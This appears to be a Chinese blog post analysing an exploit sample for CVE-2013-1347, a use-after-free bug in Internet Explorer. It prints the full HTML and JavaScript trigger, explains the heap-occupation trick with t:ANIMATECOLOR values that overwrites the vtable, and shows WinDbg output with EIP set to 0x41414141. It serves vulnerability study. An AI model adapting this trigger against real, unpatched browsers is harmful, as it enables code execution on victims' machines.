zoukankan      html  css  js  c++  java
  • CVE-2013-1347:Microsoft IE CGenericElement UAF 漏洞利用样本分析

    • CVE-2013-1347 漏洞是典型的 IE 浏览器 UAF 漏洞,所以其利用方法和一般的 IE 浏览器漏洞的利用方法非常相似,所以流程大体上可以分为这些步骤:(1) 对象被释放 (2) 精确覆盖被释放对象的内存空间,更改 EIP 寄存器从而控制程序的流程 (3) 触发漏洞实现重引用
    • 以下就是利用此漏洞的样本
    
    <!doctype html>
    <HTML XMLNS:t ="urn:schemas-microsoft-com:time">
    <head>
    <meta>
    	<?IMPORT namespace="t" implementation="#default#time2">
    </meta>
    
    <script>
    function helloWorld()
    {
    	animvalues = ""; 
    
    	for (i=0; i <= 0x70/4; i++) {
    
    		if (i == 0x70/4) { 
    			animvalues += unescape("%u4141%u4141");   // ¿ØÖÆedx=0x41414141
    		}
    		else {
    			animvalues += unescape("%u4242%u4242");	  // 0x42424242
    		}	
    	}
    
    	for(i = 0; i < 13; i++) {
    		animvalues += ";red";		
    	}
    
    	// 执行漏洞触发代码开始
    	f0 = document.createElement('span');
    	document.body.appendChild(f0);
    	f1 = document.createElement('span');
    	document.body.appendChild(f1);
    	f2 = document.createElement('span');
    	document.body.appendChild(f2);
    	document.body.contentEditable="true";
    	f2.appendChild(document.createElement('datalist'));
    	f1.appendChild(document.createElement('span'));
    	f1.appendChild(document.createElement('table'));
    	try{
    		f0.offsetParent=null;
    	}catch(e) {}
    	
    	f2.innerHTML="";
    	f0.appendChild(document.createElement('hr'));
    	f1.innerHTML="";
    
    	CollectGarbage();
    	// 执行漏洞代码结束 
    	
    	try {
    
    		a = document.getElementById('myanim');
    		a.values = animvalues;
    	}
    	catch(e) {}
    }
    
    </script>
    </head>
    <body onload="eval(helloWorld());">
    <t:ANIMATECOLOR id="myanim"/>
    </body>
    </html>
    
    • 想要了解该代码是如何利用的,首先需要知道程序是怎么进行重引用的,所以使用 Windbg 加载 IE 运行后拖入样本文件。对了在这之前需要开启 hpa,方便在内存异常处断下,并且使用 .childdbg 1 开启多线程调试
      在这里插入图片描述
    • 触发异常后断下,从异常触发点可以看出 mov eax, dword ptr [ecx] 这条指令的地址是 74ddc400
      在这里插入图片描述
    • 结合 IDA 分析,可以看出首先将对象的首地址存放在 eax 中,之后根据虚表偏移 0x70 个字节,根据偏移后的虚表地址调用函数 call edx,这也是 C++ 调用虚函数的通用方法
    • 所以怎么才可以覆盖虚表指针后,再覆盖虚表偏移 0x70 大小的数据呢,答案是使用 t:ANIMATECOLOR 元素,这个元素对象很特别,该元素有一个 values 属性,当给 values 属性赋字符串的时候,会以 ;号做为分隔符,每个分割出来的字符串都会用一个指针去指向它
      在这里插入图片描述
    • 所以知道了这些,样本中的利用代码就很好分析了,首先通过循环构造 0x70 大小的数据,用于覆盖虚表的 0x70 个字节
      在这里插入图片描述
    • 之后再次循环构造以 ;号分隔的字符串,使对象大小变为 0x4c,方便占坑,同时覆盖虚表指针

    注:占坑表示完整覆盖释放后的堆空间
    在这里插入图片描述

    • 最后将 t:ANIMATECOLOR 元素的 values 属性赋值为 animvalues 字符串
      在这里插入图片描述
    • 构造完的 t:ANIMATECOLOR 元素对象的内存结构就如下图所示:
      在这里插入图片描述
    • 下面来调试一遍,关闭 hpa 之后,加载 IE 拖入样本后调试结果如下:
    .
    .
    .
    (74c4c234)   mshtml!CGenericElement::CreateElement   |  (74c4c279)   mshtml!CGenericElement::CGenericElement
    Exact matches:
        mshtml!CGenericElement::CreateElement = <no type information>
    '=== CElement ==='
    080ac250  74c254b0 00000001 00000008 00000000
    080ac260  00000000 00000000 00000000 00000000
    080ac270  00000000 00000000
    '=== CTreeNode ==='
    080a38d0  080ac250
    080ac250  74c4c2e8 mshtml!CGenericElement::`vftable'
    .
    .
    .
    eax=02f23048 ebx=080a38d0 ecx=080ac250 edx=41414141 esi=054ff078 edi=00000000
    eip=41414141 esp=054ff048 ebp=054ff064 iopl=0         nv up ei pl zr na pe nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
    41414141 ??              ???
    
    • 查看漏洞对象 CGenericElement 已经释放的内存空间 0x080ac250 的覆盖情况,发现已经被覆盖了
    2:040> dd 080ac250
    080ac250  02f23048 02f5cf60 02f5cf80 02f5cfa0
    080ac260  02f5cfc0 02f5cfe0 02f5d000 02f5d020
    080ac270  02f5d040 02f5d060 02f5d080 02f5d0a0
    080ac280  02f5d0c0 02f5d0e0 236b22bf c2000000
    080ac290  0670c7a4 00000000 00000002 0502001e
    080ac2a0  0000000e 9ea75230 00000012 006e006f
    080ac2b0  00720074 006e0061 00690073 00690074
    080ac2c0  006e006f 00650072 00650070 00740061
    
    • 查看一下第一个字符串指针指向的值,就是之前循环赋值的值,0x70 偏移地址的值为 0x41414141,所以 edx 寄存器中的值会变为 0x41414141
    2:040> dd 02f23048 
    02f23048  42424242 42424242 42424242 42424242
    02f23058  42424242 42424242 42424242 42424242
    02f23068  42424242 42424242 42424242 42424242
    02f23078  42424242 42424242 42424242 42424242
    02f23088  42424242 42424242 42424242 42424242
    02f23098  42424242 42424242 42424242 42424242
    02f230a8  42424242 42424242 42424242 42424242
    02f230b8  41414141 00000000 28d3aa3e c2000000
    
    • 最后 call edx,也就是 jmp 0x41414141,之后配合绕过防御的代码,就可以达到执行任意代码的目的
      在这里插入图片描述
  • 相关阅读:
    MySQL 联合索引测试
    Redis的安装
    MySQL中int(5) 中的5代表什么意思?
    JS树结构转list结构
    SpringMVC数组参数
    立即执行函数(function(){})()与闭包
    女票口红礼物列表
    Idea中编辑后需要重启问题
    Myeclipse6.5迁移到IDEA
    Layui前端框架
  • 原文地址:https://www.cnblogs.com/csnd/p/11800511.html
Copyright © 2011-2022 走看看